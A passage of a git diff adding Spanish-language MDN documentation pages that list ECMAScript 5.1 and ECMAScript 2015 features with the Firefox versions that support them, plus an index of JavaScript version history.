+<div>{{jsSidebar("New_in_JS")}}</div>
+
+<p>ECMAScript 5.1, es una versión antigua del estándar sobre el cuál se basa Javascript, dicha versión fue aprovada en Junio de 2011.</p>
+
+<p>El motor de JavaScript utilizado en las últimas versiones de los proyectos de Mozilla, incluyendo Firefox y Thunderbird, tienen soporte a todas las características de ECMAScript 5.1. Este artículo cubre las funciones compatibles con diferentes versiones del motor de JavaScript utilizado por Mozilla.</p>
+
+<h2 id="Características_soportadas">Características soportadas</h2>
+
+<h3 id="Añadido_en_JavaScript_1.8.5_(Gecko_2_Firefox_4_y_posteriores)">Añadido en JavaScript 1.8.5 (Gecko 2, Firefox 4 y posteriores)</h3>
+
+<p>Firefox 4 tiene soporte completo a ECMAScript 5, incluyendo el constructor <code>Object.*</code> métodos y el modo estrícto (strict mode.) Lee más en <a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/1.8.5" title="en/JavaScript/New_in_JavaScript/1.8.5">New in JavaScript 1.8.5</a>.</p>
+
+<h3 id="Añadido_en_JavaScript_1.8.1_(Gecko_1.9.1_Firefox_3.5)">Añadido en JavaScript 1.8.1 (Gecko 1.9.1, Firefox 3.5)</h3>
+
+<ul>
+ <li>Soporte nativo de los objetos <a class="internal" href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON" title="En/Using native JSON">JSON</a>.</li>
+ <li><code>Posee el método <a class="internal" href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getPrototypeOf" title="En/Core JavaScript 1.5 Reference/Global Objects/Object/GetPrototypeOf">Object.getPrototypeOf()</a></code>.</li>
+ <li><code>El método <a class="internal" href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/Trim" title="En/Core JavaScript 1.5 Reference/Global Objects/String/Trim">String.trim()</a></code>, que elimina todos los espacios vacíos que hayan al principio o al final de un texto.</li>
+ <li>Gecko 1.9.1.4 actualizó la implementación de <a href="/en-US/docs/Web/JavaScript/Guide/Using_native_JSON#Converting_objects_into_JSON" title="En/Using native JSON#Converting objects into JSON"><code>JSON.stringify()</code></a> para que responda a ECMAScript 5.</li>
+</ul>
+
+<p>Las mejoras dispuestas por ECMAScript 5 se han hecho en el algoritmo de análisis sintáctico que impiden la evaluación de XHTML como código JavaScript en ciertas circunstancias..</p>
+
+<h3 id="Añadido_en_JavaScript_1.6_(Gecko_1.8_Firefox_1.5)">Añadido en JavaScript 1.6 (Gecko 1.8, Firefox 1.5)</h3>
+
+<p>Los métodos <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array"><code>Array</code></a> que ofrecen varias mejoras en los métodos que manipulan arreglos (arrays), que han sido parte de Javascript desde la versión <a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/1.6">1.6</a>, ahora forman parte del estándar ECMAScript 5.</p>
+
+<h2 id="Más_información">Más información</h2>
+
+<ul>
+ <li><a class="external" href="http://www.ecmascript.org/" title="http://www.ecmascript.org/">ECMAScript web site</a></li>
+ <li><a class="external" href="http://www.ecma-international.org/publications/files/ECMA-ST/Ecma-262.pdf" title="http://www.ecma-international.org/publications/files/ECMA-ST/ECMA-262.pdf">ECMAScript 5.1 specification</a></li>
+ <li>John Resig's post on <a class="external" href="http://ejohn.org/blog/objectgetprototypeof/" title="http://ejohn.org/blog/objectgetprototypeof/">Object.getPrototypeOf</a></li>
+ <li>Michael J. Ryan's implementation of <a class="external" href="http://frugalcoder.us/post/2010/01/07/EcmaScript-5s-Date-Extensions.aspx" title="http://frugalcoder.us/post/2010/01/07/EcmaScript-5s-Date-Extensions.aspx">ECMAScript5 Dates in JavaScript</a></li>
+ <li><a href="http://kangax.github.io/es5-compat-table/" title="http://kangax.github.io/es5-compat-table/">ECMAScript 5 support across browsers</a></li>
+</ul>
diff --git a/files/es/web/javascript/novedades_en_javascript/ecmascript_6_support_in_mozilla/index.html b/files/es/web/javascript/novedades_en_javascript/ecmascript_6_support_in_mozilla/index.html
new file mode 100644
index 0000000000..882207368f
--- /dev/null
+++ b/files/es/web/javascript/novedades_en_javascript/ecmascript_6_support_in_mozilla/index.html
@@ -0,0 +1,273 @@
+---
+title: Soporte de ECMAScript 2015 en Mozilla
+slug: Web/JavaScript/Novedades_en_JavaScript/ECMAScript_6_support_in_Mozilla
+tags:
+  - ECMAScript6
+  - Firefox
+  - JavaScript
+translation_of: Archive/Web/JavaScript/New_in_JavaScript/ECMAScript_2015_support_in_Mozilla
+---
+<div>{{jsSidebar("New_in_JS")}}</div>
+
+<p>ECMAScript 2015 (ES6) es la sexta edicion de las especificaciones del estandar del lenguaje ECMAScript. Esta versión define el estandar para la implementación de <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript">Javascript</a> en <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Projects/SpiderMonkey">SpiderMonkey</a>, el motor utilizado en Firefox y otras aplicaciones de Mozilla.</p>
+
+<p>Con el nombre clave de "ES.next", "Harmony" o "ECMAScript 6", el primer borrador (basado en <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_5_support_in_Mozilla">ECMAScript 5.1</a>) fue publicado el 12 de Julio del 2011 como "ES.next". En Agosto de 2014, el borrador de la especificación ECMAScript 2015 fue detenido y pasó por un período de estabilización y correción de errores. Finalmente, el ECMA-262 Edición 6 fue oficialmente aprobado y publicado como un estándar en Junio 17 de 2015 por la Asamblea General de ECMA. También aparecerá como una norma internacional de la industria ISO/IEC 16262:2016.</p>
+
+<p>El estándar se puede consultar (y descargar) en los formatos <a href="http://www.ecma-international.org/ecma-262/6.0/index.html">HTML</a> y <a href="http://www.ecma-international.org/publications/files/ECMA-ST/Ecma-262.pdf">PDF</a> de manera gratuita desde <a href="http://www.ecma-international.org/publications/standards/Ecma-262.htm">ecma-international.org</a>.</p>
+
+<p>Un canal para la retroalimentación sobre los estandares ECMAScript es <a href="https://mail.mozilla.org/listinfo/es-discuss">es-discuss</a>.</p>
+
+<h2 id="Biblioteca_estándar">Biblioteca estándar</h2>
+
+<h3 id="Adiciones_al_objeto_Array">Adiciones al objeto <code>Array</code></h3>
+
+<ul>
+ <li>Iteración {{jsxref("Array")}} con {{jsxref("Statements/for...of", "for...of")}} (<a href="/es/Firefox/Releases/13">Firefox 13</a>)</li>
+ <li>{{jsxref("Array.from()")}} (<a href="/es/Firefox/Releases/32">Firefox 32</a>)</li>
+ <li>{{jsxref("Array.of()")}} (<a href="/es/Firefox/Releases/25">Firefox 25</a>)</li>
+ <li>{{jsxref("Array.prototype.fill()")}} (<a href="/es/Firefox/Releases/31">Firefox 31</a>)</li>
+ <li>{{jsxref("Array.prototype.find()")}}, {{jsxref("Array.prototype.findIndex()")}} (<a href="/es/Firefox/Releases/25">Firefox 25</a>)</li>
+ <li>{{jsxref("Array.prototype.entries()")}},<br>
+  {{jsxref("Array.prototype.keys()")}} (<a href="/es/Firefox/Releases/28">Firefox 28</a>),<br>
+  {{jsxref("Array.prototype.values()")}}</li>
+ <li>{{jsxref("Array.prototype.copyWithin()")}} (<a href="/es/Firefox/Releases/32">Firefox 32</a>)</li>
+ <li>{{jsxref("Array.@@species", "get Array[@@species]")}} (<a href="/es/Firefox/Releases/48">Firefox 48</a>)</li>
+</ul>
+
+<h3 id="Nuevos_objetos_Map_y_Set_y_contrapartes_débiles">Nuevos objetos <code>Map</code> y <code>Set</code>, y contrapartes débiles</h3>
+
+<ul>
+ <li>{{jsxref("Map")}} (<a href="/es/Firefox/Releases/13">Firefox 13</a>)
+
+  <ul>
+   <li>Iteración {{jsxref("Map")}} con {{jsxref("Sentencias/for...of", "for...of")}} (<a href="/es/Firefox/Releases/17">Firefox 17</a>)</li>
+   <li>{{jsxref("Map.prototype.forEach()")}} (<a href="/es/Firefox/Releases/25">Firefox 25</a>)</li>
+   <li>{{jsxref("Map.prototype.entries()")}} (<a href="/es/Firefox/Releases/20">Firefox 20</a>)</li>
+   <li>{{jsxref("Map.prototype.keys()")}} (<a href="/es/Firefox/Releases/20">Firefox 20</a>)</li>
+   <li>{{jsxref("Map.prototype.values()")}}</li>
+   <li>Argumento del Constructor: <code>new {{jsxref("Map")}}(null)</code> (<a href="/es/Firefox/Releases/37">Firefox 37</a>)</li>
+   <li>Monkey-patched <code>set()</code> en el Constructor (<a href="/es/Firefox/Releases/37">Firefox 37</a>)</li>
+   <li>{{jsxref("Map.@@species", "get Map[@@species]")}} (<a href="/es/Firefox/Releases/41">Firefox 41</a>)</li>
+  </ul>
+ </li>
+ <li>{{jsxref("Set")}} (<a href="/es/Firefox/Releases/13">Firefox 13</a>)
+  <ul>
+   <li>Iteración {{jsxref("Set")}} con {{jsxref("Sentencias/for...of", "for...of")}} (<a href="/es/Firefox/Releases/17">Firefox 17</a>)</li>
+   <li>{{jsxref("Set.prototype.forEach()")}} (<a href="/es/Firefox/Releases/25">Firefox 25</a>)</li>
+   <li>{{jsxref("Set.prototype.entries()")}},<br>
+    {{jsxref("Set.prototype.keys()")}},<br>
+    {{jsxref("Set.prototype.values()")}} (<a href="/es/Firefox/Releases/24">Firefox 24</a>)</li>
+   <li>Argumento del Constructor: <code>new {{jsxref("Set")}}(null)</code> (<a href="/es/Firefox/Releases/37">Firefox 37</a>)</li>
+   <li>Monkey-patched <code>add()</code> en el Constructor (<a href="/es/Firefox/Releases/37">Firefox 37</a>)</li>
+   <li>{{jsxref("Set.@@species", "get Set[@@species]")}} (<a href="/es/Firefox/Releases/41">Firefox 41</a>)</li>
+  </ul>
+ </li>
+ <li>{{jsxref("WeakMap")}} (<a href="/es/Firefox/Releases/6">Firefox 6</a>)
+  <ul>
+   <li>{{jsxref("WeakMap.clear()")}} (<a href="/es/Firefox/Releases/20">Firefox 20</a>)</li>
+   <li>Argumento iterable opcional en el constructor {{jsxref("WeakMap")}} (<a href="/es/Firefox/Releases/36">Firefox 36</a>)</li>
+   <li>Argumento del Constructor: <code>new {{jsxref("WeakMap")}}(null)</code> (<a href="/es/Firefox/Releases/37">Firefox 37</a>)</li>
+   <li>Monkey-patched <code>set()</code> en el Constructor (<a href="/es/Firefox/Releases/37">Firefox 37</a>)</li>
+  </ul>
+ </li>
+ <li>{{jsxref("WeakSet")}} (<a href="/es/Firefox/Releases/34">Firefox 34</a>)
+  <ul>
+   <li>Argumento del Constructor: <code>new {{jsxref("WeakSet")}}(null)</code> (<a href="/es/Firefox/Releases/37">Firefox 37</a>)</li>
+   <li>Monkey-patched <code>add()</code> en el Constructor (<a href="/es/Firefox/Releases/37">Firefox 37</a>)</li>
+  </ul>
+ </li>
+</ul>
+
+<h3 id="Nuevas_funciones_Math">Nuevas funciones <code>Math</code></h3>
+
+<ul>
+ <li>{{jsxref("Math.imul()")}} (<a href="/es/Firefox/Releases/20">Firefox 20</a>)</li>
+ <li>{{jsxref("Math.clz32()")}} (<a href="/es/Firefox/Releases/31">Firefox 31</a>)</li>
+ <li>{{jsxref("Math.fround()")}} (<a href="/es/Firefox/Releases/26">Firefox 26</a>)</li>
+ <li>{{jsxref("Math.log10()")}}, {{jsxref("Math.log2()")}}, {{jsxref("Math.log1p()")}}, {{jsxref("Math.expm1()")}}, {{jsxref("Math.cosh()")}}, {{jsxref("Math.sinh()")}}, {{jsxref("Math.tanh()")}}, {{jsxref("Math.acosh()")}}, {{jsxref("Math.asinh()")}}, {{jsxref("Math.atanh()")}}, {{jsxref("Math.hypot()")}}, {{jsxref("Math.trunc()")}}, {{jsxref("Math.sign()")}}, {{jsxref("Math.cbrt()")}} (<a href="/es/Firefox/Releases/25">Firefox 25</a>)</li>
+</ul>
+
+<h3 id="Adiciones_al_objeto_Number">Adiciones al objeto <code>Number</code></h3>
+
+<ul>
+ <li>{{jsxref("Number.isNaN()")}} (<a href="/es/Firefox/Releases/16">Firefox 16</a>)</li>
+ <li>{{jsxref("Number.isFinite()")}} (<a href="/es/Firefox/Releases/16">Firefox 16</a>)</li>
+ <li>{{jsxref("Number.isInteger()")}} (<a href="/es/Firefox/Releases/16">Firefox 16</a>)</li>
+ <li>{{jsxref("Number.parseInt()")}} (<a href="/es/Firefox/Releases/25">Firefox 25</a>)</li>
+ <li>{{jsxref("Number.parseFloat()")}} (<a href="/es/Firefox/Releases/25">Firefox 25</a>)</li>
+ <li>{{jsxref("Number.EPSILON")}} (<a href="/es/Firefox/Releases/25">Firefox 25</a>)</li>
+ <li>{{jsxref("Number.MAX_SAFE_INTEGER")}}, {{jsxref("Number.MIN_SAFE_INTEGER")}} (<a href="/es/Firefox/Releases/31">Firefox 31</a>)</li>
+ <li>{{jsxref("Number.isSafeInteger()")}} (<a href="/es/Firefox/Releases/32">Firefox 32</a>)</li>
+</ul>
+
+<h3 id="Adiciones_al_objeto_Object">Adiciones al objeto  <code>Object</code></h3>
+
+<ul>
+ <li>{{jsxref("Object.prototype.__proto__")}} ha sido estandarizado</li>
+ <li>{{jsxref("Object.is()")}} (<a href="/es/Firefox/Releases/22">Firefox 22</a>)</li>
+ <li>{{jsxref("Object.setPrototypeOf()")}} (<a href="/es/Firefox/Releases/31">Firefox 31</a>)</li>
+ <li>{{jsxref("Object.assign()")}} (<a href="/es/Firefox/Releases/34">Firefox 34</a>)</li>
+ <li>{{jsxref("Object.getOwnPropertySymbols()")}} (<a href="/es/Firefox/Releases/33">Firefox 33</a>)</li>
+</ul>
+
+<h3 id="Adiciones_al_objeto_Date">Adiciones al objeto <code>Date</code></h3>
+
+<ul>
+ <li>{{jsxref("Date.prototype")}} es un objeto ordinario (<a href="/es/Firefox/Releases/41">Firefox 41</a>)</li>
+ <li>genérico {{jsxref("Date.prototype.toString")}} (<a href="/es/Firefox/Releases/41">Firefox 41</a>)</li>
+ <li>{{jsxref("Date.prototype.@@toPrimitive", "Date.prototype[@@toPrimitive]")}} (<a href="/es/Firefox/Releases/44">Firefox 44</a>)</li>
+</ul>
+
+<h3 id="Nuevo_objeto_Promise">Nuevo objeto <code>Promise</code></h3>
+
+<ul>
+ <li>{{jsxref("Promise")}} (<a href="/es/Firefox/Releases/24">Firefox 24</a>, habilitado por defecto en <a href="/es/Firefox/Releases/29">Firefox 29</a>)</li>
+</ul>
+
+<h3 id="Nuevo_objeto_Proxy">Nuevo objeto <code>Proxy</code></h3>
+
+<ul>
+ <li>{{jsxref("Proxy")}} (<a href="/es/Firefox/Releases/18">Firefox 18</a>)</li>
+ <li>{{jsxref("Global_Objects/Proxy/handler/preventExtensions", "preventExtensions()")}} trap (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/22">Firefox 22</a>)</li>
+ <li>{{jsxref("Global_Objects/Proxy/handler/isExtensible", "isExtensible()")}} trap (<a href="/es/Firefox/Releases/31">Firefox 31</a>)</li>
+ <li>{{jsxref("Global_Objects/Proxy/handler/getPrototypeOf", "getPrototypeOf()")}} and {{jsxref("Global_Objects/Proxy/handler/setPrototypeOf", "setPrototypeOf()")}} traps (<a href="/es/Firefox/Releases/49">Firefox 49</a>)</li>
+</ul>
+
+<h3 id="Nuevo_objeto_Reflect">Nuevo objeto <code>Reflect</code> </h3>
+
+<ul>
+ <li>{{jsxref("Reflect")}} (<a href="/es/Firefox/Releases/42">Firefox 42</a>)</li>
+</ul>
+
+<h3 id="Adiciones_al_objeto_RegExp">Adiciones al objeto  <code>RegExp</code></h3>
+
+<ul>
+ <li>{{jsxref("RegExp")}} sticky (y) flag (<a href="/es/Firefox/Releases/38">Firefox 38</a>)</li>
+ <li>{{jsxref("RegExp")}} unicode (u) flag (<a href="/es/Firefox/Releases/46">Firefox 46</a>)</li>
+ <li>generic {{jsxref("RegExp.prototype.toString")}} (<a href="/es/Firefox/Releases/39">Firefox 39</a>)</li>
+ <li>{{jsxref("RegExp.prototype.@@match()", "RegExp.prototype[@@match]()")}} (<a href="/es/Firefox/Releases/49">Firefox 49</a>)</li>
+ <li>{{jsxref("RegExp.prototype.@@replace()", "RegExp.prototype[@@replace]()")}} (<a href="/es/Firefox/Releases/49">Firefox 49</a>)</li>
+ <li>{{jsxref("RegExp.prototype.@@search()", "RegExp.prototype[@@search]()")}} (<a href="/es/Firefox/Releases/49">Firefox 49</a>)</li>
+ <li>{{jsxref("RegExp.prototype.@@split()", "RegExp.prototype[@@split]()")}} (<a href="/es/Firefox/Releases/49">Firefox 49</a>)</li>
+ <li>{{jsxref("RegExp.@@species", "get RegExp[@@species]")}} (<a href="/es/Firefox/Releases/49">Firefox 49</a>)</li>
+</ul>
+
+<h3 id="Adiciones_al_objeto_String">Adiciones al objeto  <code>String</code></h3>
+
+<ul>
+ <li>{{jsxref("String.fromCodePoint()")}} (<a href="/es/Firefox/Releases/29">Firefox 29</a>)</li>
+ <li>{{jsxref("String.prototype.codePointAt()")}} (<a href="/es/Firefox/Releases/29">Firefox 29</a>)</li>
+ <li>{{jsxref("String.prototype.startsWith()")}}, {{jsxref("String.prototype.endsWith()")}} (<a href="/es/Firefox/Releases/17">Firefox 17</a>)</li>
+ <li>{{jsxref("String.prototype.includes()")}} (<a href="/es/Firefox/Releases/40">Firefox 40</a>)(anteriormente <code>String.prototype.contains()</code> (<a href="/es/Firefox/Releases/17">Firefox 17</a>))</li>
+ <li>{{jsxref("String.prototype.repeat()")}} (<a href="/es/Firefox/Releases/24">Firefox 24</a>)</li>
+ <li>{{jsxref("String.prototype.normalize()")}} (<a href="/es/Firefox/Releases/31">Firefox 31</a>)</li>
+ <li>{{jsxref("String.raw()")}} (<a href="/es/Firefox/Releases/34">Firefox 34</a>)</li>
+ <li><a href="/es/docs/Web/JavaScript/Reference/Lexical_grammar#Unicode_code_point_escapes">\u{XXXXXX}</a> Unicode code point escapes (<a href="/es/Firefox/Releases/40">Firefox 40</a>)</li>
+</ul>
+
+<h3 id="Nuevo_objeto_Symbol">Nuevo objeto  <code>Symbol</code></h3>
+
+<ul>
+ <li>{{jsxref("Symbol")}} (<a href="/es/Firefox/Releases/36">Firefox 36</a>)</li>
+ <li>{{jsxref("Symbol.iterator")}} (<a href="/es/Firefox/Releases/36">Firefox 36</a>)</li>
+ <li>{{jsxref("Symbol.for()")}} - registro global de símbolos (<a href="/es/Firefox/Releases/36">Firefox 36</a>)</li>
+ <li>{{jsxref("Symbol.match")}} (<a href="/es/Firefox/Releases/40">Firefox 40</a>)</li>
+ <li>{{jsxref("Symbol.species")}} (<a href="/es/Firefox/Releases/41">Firefox 41</a>)</li>
+ <li>{{jsxref("Symbol.toPrimitive")}} (<a href="/es/Firefox/Releases/44">Firefox 44</a>)</li>
+ <li>{{jsxref("Symbol.prototype.@@toPrimitive", "Symbol.prototype[@@toPrimitive]")}} (<a href="/es/Firefox/Releases/44">Firefox 44</a>)</li>
+ <li>{{jsxref("Symbol.replace")}} (<a href="/es/Firefox/Releases/49">Firefox 49</a>)</li>
+ <li>{{jsxref("Symbol.search")}} (<a href="/es/Firefox/Releases/49">Firefox 49</a>)</li>
+ <li>{{jsxref("Symbol.split")}} (<a href="/es/Firefox/Releases/49">Firefox 49</a>)</li>
+ <li>{{jsxref("Symbol.hasInstance")}} (<a href="/es/Firefox/Releases/50">Firefox 50</a>)</li>
+</ul>
+
+<h3 id="Typed_Arrays">Typed Arrays</h3>
+
+<p>Typed arrays se especifican como parte de ECMAScript 2015 y ya no en <a href="https://www.khronos.org/registry/typedarray/specs/latest/">su propia especificación</a>.</p>
+
+<ul>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+ <li>{{jsxref("ArrayBuffer.@@species", "get ArrayBuffer[@@species]")}} (<a href="/es/Firefox/Releases/48">Firefox 48</a>)</li>
+ <li>{{jsxref("DataView")}}</li>
+ <li>{{jsxref("Int8Array")}}</li>
+ <li>{{jsxref("Uint8Array")}}</li>
+ <li>{{jsxref("Uint8ClampedArray")}}</li>
+ <li>{{jsxref("Int16Array")}}</li>
+ <li>{{jsxref("Uint16Array")}}</li>
+ <li>{{jsxref("Int32Array")}}</li>
+ <li>{{jsxref("Uint32Array")}}</li>
+ <li>{{jsxref("Float32Array")}}</li>
+ <li>{{jsxref("Float64Array")}}</li>
+ <li>{{jsxref("TypedArray.@@species", "get %TypedArray%[@@species]")}} (<a href="/es/Firefox/Releases/48">Firefox 48</a>)</li>
+</ul>
+
+<h2 id="Expresiones_y_operadores">Expresiones y operadores</h2>
+
+<ul>
+ <li><a href="/es/docs/Web/JavaScript/Reference/Operators/new.target">new.target</a> (<a href="/es/Firefox/Releases/41">Firefox 41</a>)</li>
+ <li><a href="/es/docs/Web/JavaScript/Reference/Operators/Spread_operator">Operador Spread para arrays</a> (<a href="/es/Firefox/Releases/16">Firefox 16</a>)
+  <ul>
+   <li>Utiliza la propiedad <code>Symbol.iterator</code> (<a href="/es/Firefox/Releases/36">Firefox 36</a>)</li>
+  </ul>
+ </li>
+ <li><a href="/es/docs/Web/JavaScript/Reference/Operators/Spread_operator">Operador Spread para llamadas a funciones</a> (<a href="/es/Firefox/Releases/27">Firefox 27</a>)
+  <ul>
+   <li>Utiliza la propiedad <code>Symbol.iterator</code> (<a href="/es/Firefox/Releases/36">Firefox 36</a>)</li>
+  </ul>
+ </li>
+ <li>{{jsxref("Statements/const", "const")}} (<a href="/es/docs/Web/JavaScript/New_in_JavaScript/1.5">JS 1.5</a>, Firefox 1.0) (cumple con ES2015  {{bug("950547")}} implementado en Firefox 51)</li>
+ <li>{{jsxref("Statements/let", "let")}} (<a href="/es/docs/Web/JavaScript/New_in_JavaScript/1.7">JS 1.7</a>, <a href="/es/Firefox/Releases/2">Firefox 2</a>) (en cumplimiento de ES2015 {{bug("950547")}} implementado en Firefox 51)</li>
+ <li><a href="/es/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">Destructuring assignment</a> (<a href="/es/docs/Web/JavaScript/New_in_JavaScript/1.7">JS 1.7</a>, <a href="/es/Firefox/Releases/2">Firefox 2</a>) (en cumplimiento de ES2015 {{bug("1055984")}})</li>
+</ul>
+
+<h2 id="Sentencias">Sentencias</h2>
+
+<ul>
+ <li>{{jsxref("Statements/for...of", "for...of")}} (<a href="/es/Firefox/Releases/13">Firefox 13</a>)
+
+  <ul>
+   <li>Funciona en terminos de <code>.iterator()</code> y <code>.next()</code> (<a href="/es/Firefox/Releases/17">Firefox 17</a>)</li>
+   <li>Usa la propiedad <code>"@@iterator"</code> (<a href="/es/Firefox/Releases/27">Firefox 27</a>)</li>
+   <li>Usa la propiedad <code>Symbol.iterator</code> (<a href="/es/Firefox/Releases/36">Firefox 36</a>)</li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="Funciones">Funciones</h2>
+
+<ul>
+ <li><a href="/es/docs/Web/JavaScript/Reference/Functions_and_function_scope/rest_parameters">Parametros Rest</a> (<a href="/es/Firefox/Releases/15">Firefox 15</a>)</li>
+ <li><a href="/es/docs/Web/JavaScript/Reference/default_parameters">Parametros por Defecto o predeterminados</a> (<a href="/es/Firefox/Releases/15">Firefox 15</a>)
+  <ul>
+   <li>Parámetros sin valores predeterminados después de los parámetros predeterminados (<a href="/es/Firefox/Releases/26">Firefox 26</a>)</li>
+   <li><a href="/es/docs/Web/JavaScript/Reference/Functions/Default_parameters#Destructured_parameter_with_default_value_assignment" title="Default function parameters allow formal parameters to be initialized with default values if no value or undefined is passed.">Parámetros desestructurados con asignación de valor predeterminada</a> (<a href="/es/Firefox/Releases/41">Firefox 41</a>)</li>
+  </ul>
+ </li>
+ <li><a href="/es/docs/Web/JavaScript/Reference/arrow_functions">Funciones flecha</a> (<a href="/es/Firefox/Releases/22">Firefox 22</a>)</li>
+ <li>{{jsxref("Statements/function*", "Generator function")}} (<a href="/es/Firefox/Releases/26">Firefox 26</a>)
+  <ul>
+   <li>{{jsxref("Operators/yield", "yield")}} (<a href="/es/Firefox/Releases/26">Firefox 26</a>)</li>
+   <li>{{jsxref("Operators/yield*", "yield*")}} (<a href="/es/Firefox/Releases/27">Firefox 27</a>)</li>
+  </ul>
+ </li>
+ <li>{{jsxref("Functions/arguments/@@iterator", "arguments[@@iterator]")}} (<a href="/es/Firefox/Releases/46">Firefox 46</a>)</li>
+</ul>
+
+<h2 id="Otras_características">Otras características</h2>
+
+<ul>
+ <li><a href="/es/docs/Web/JavaScript/Reference/Lexical_grammar#Numeric_literals">Literales numéricos binarios y octales</a> (<a href="/es/Firefox/Releases/25">Firefox 25</a>)</li>
+ <li><a href="/es/docs/Web/JavaScript/Reference/template_strings">Plantillas de strings</a> (<a href="/es/Firefox/Releases/34">Firefox 34</a>)</li>
+ <li><a href="/es/docs/Web/JavaScript/Reference/Operators/Object_initializer#Property_definitions">Inicializador de objetos: nombres de propiedades abreviadas</a> (<a href="/es/Firefox/Releases/33">Firefox 33</a>)</li>
+ <li><a href="/es/docs/Web/JavaScript/Reference/Operators/Object_initializer#Computed_property_names">Inicializador de objetos: nombres de propiedades computados</a> (<a href="/es/Firefox/Releases/34">Firefox 34</a>)</li>
+ <li><a href="/es/docs/Web/JavaScript/Reference/Operators/Object_initializer#Method_definitions">Inicializador de objetos: nombres de métodos abreviados</a> (<a href="/es/Firefox/Releases/34">Firefox 34</a>)</li>
+</ul>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_7_support_in_Mozilla">ECMAScript Next support in Mozilla</a></li>
+ <li><a href="http://wiki.ecmascript.org/doku.php?id=harmony:specification_drafts">ECMAScript 2015 specification drafts</a></li>
+ <li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=694100">Mozilla ES2015 tracking bug</a></li>
+ <li><a href="http://kangax.github.io/es5-compat-table/es6" title="http://kangax.github.io/es5-compat-table">ECMAScript 2015 support across browsers</a></li>
+</ul>
diff --git a/files/es/web/javascript/novedades_en_javascript/index.html b/files/es/web/javascript/novedades_en_javascript/index.html
new file mode 100644
index 0000000000..9217bc92c6
--- /dev/null
+++ b/files/es/web/javascript/novedades_en_javascript/index.html
@@ -0,0 +1,81 @@
+---
+title: Novedades en JavaScript
+slug: Web/JavaScript/Novedades_en_JavaScript
+tags:
+  - JavaScript
+  - Novedades
+  - Versiones
+translation_of: Archive/Web/JavaScript/New_in_JavaScript
+---
+<div>{{jsSidebar("New_in_JS")}}</div>
+
+<p>Este capítulo contiene información del historial de versiones de JavaScript y su estatus de implementación en aplicaciones basadas en JavaScript de Mozilla/SpiderMonkey (como Firefox)</p>
+
+<h2 id="Versiones_ECMAScript">Versiones ECMAScript</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/JavaScript/Language_Resources">Recursos del Lenguaje</a></dt>
+ <dd>Aprende más acerca de los estándares ECMAscript en los que el lenguaje JavaScript está basado.</dd>
+ <dt><a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_5_support_in_Mozilla">Soporte ECMAScript 5</a></dt>
+ <dd>Estatus de la implementación del estandar actual ECMA-262 (Edición 5.1) en aquellos productos y sistemas basados en Mozilla.</dd>
+ <dt><a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_6_support_in_Mozilla">Soporte ECMAScript 6</a></dt>
+ <dd>Estatus de la implementación del estandar en proceso de incorporación ECMA-262 (Edición 6) en aquellos productos y sistemas basados en Mozilla.</dd>
+ <dt><a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_7_support_in_Mozilla">Soporte ECMAScript 7</a></dt>
+ <dd>Estatus de la implementación del estandar próximo ECMA-262 (Edición 7) en aquellos productos y sistemas basados en Mozilla.</dd>
+</dl>
+
+<h2 id="Notas_de_Lanzamiento_de_JavaScript">Notas de Lanzamiento de JavaScript</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/Firefox_JavaScript_changelog">Bitácora de cambios (changelog) de JavaScript en Firefox</a></dt>
+ <dd>Vea esta bitácora de cambios (changelog) para mayor información de las características y funcionalidades implementadas a partir de Firefox 5.</dd>
+ <dt>Bitácora de Cambios (Changelog) de JavaScript en Chrome</dt>
+ <dd>(PENDIENTE) Vea esta bitácora de cambios (changelog) para mayor información de las características y funcionalidades implementadas en Chrome.</dd>
+</dl>
+
+<h2 id="Versiones_JavaScript">Versiones JavaScript</h2>
+
+<p><strong>Deprecated</strong> ({{deprecated_inline()}}). The explicit versioning and opt-in of language features was Mozilla-specific and <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=867609">is in process of being removed</a>. Firefox 4 was the last version which referred to an JavaScript version (1.8.5). With new ECMA standards, JavaScript language features are now often mentioned with their initial definition in ECMA-262 Editions such as Edition 6 (ES6).</p>
+
+<p>JavaScript was released as version 1.0 in March 1996 in Netscape Navigator 2.0 and Internet Explorer 2.0.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/1.1">JavaScript 1.1</a></dt>
+ <dd>Version shipped in Netscape Navigator 3.0. Released on August 19, 1996.</dd>
+ <dt><a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/1.2">JavaScript 1.2</a></dt>
+ <dd>Version shipped in Netscape Navigator 4.0-4.05. Released on June 11, 1997.</dd>
+ <dt><a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/1.3">JavaScript 1.3</a></dt>
+ <dd>Version shipped in Netscape Navigator 4.06-4.7x. Released on October 19, 1998.<br>
+ Standardization work to be compliant with ECMA-262 1st and 2nd Edition.</dd>
+ <dt><a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/1.4">JavaScript 1.4</a></dt>
+ <dd>Version shipped in Netscape's server side JavaScript. Released in 1999.</dd>
+ <dt><a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/1.5">JavaScript 1.5</a></dt>
+ <dd>Version shipped in Netscape Navigator 6.0 and Firefox 1.0. Release on November 14, 2000.<br>
+ Standardization work to be compliant with ECMA-262 3rd Edition.</dd>
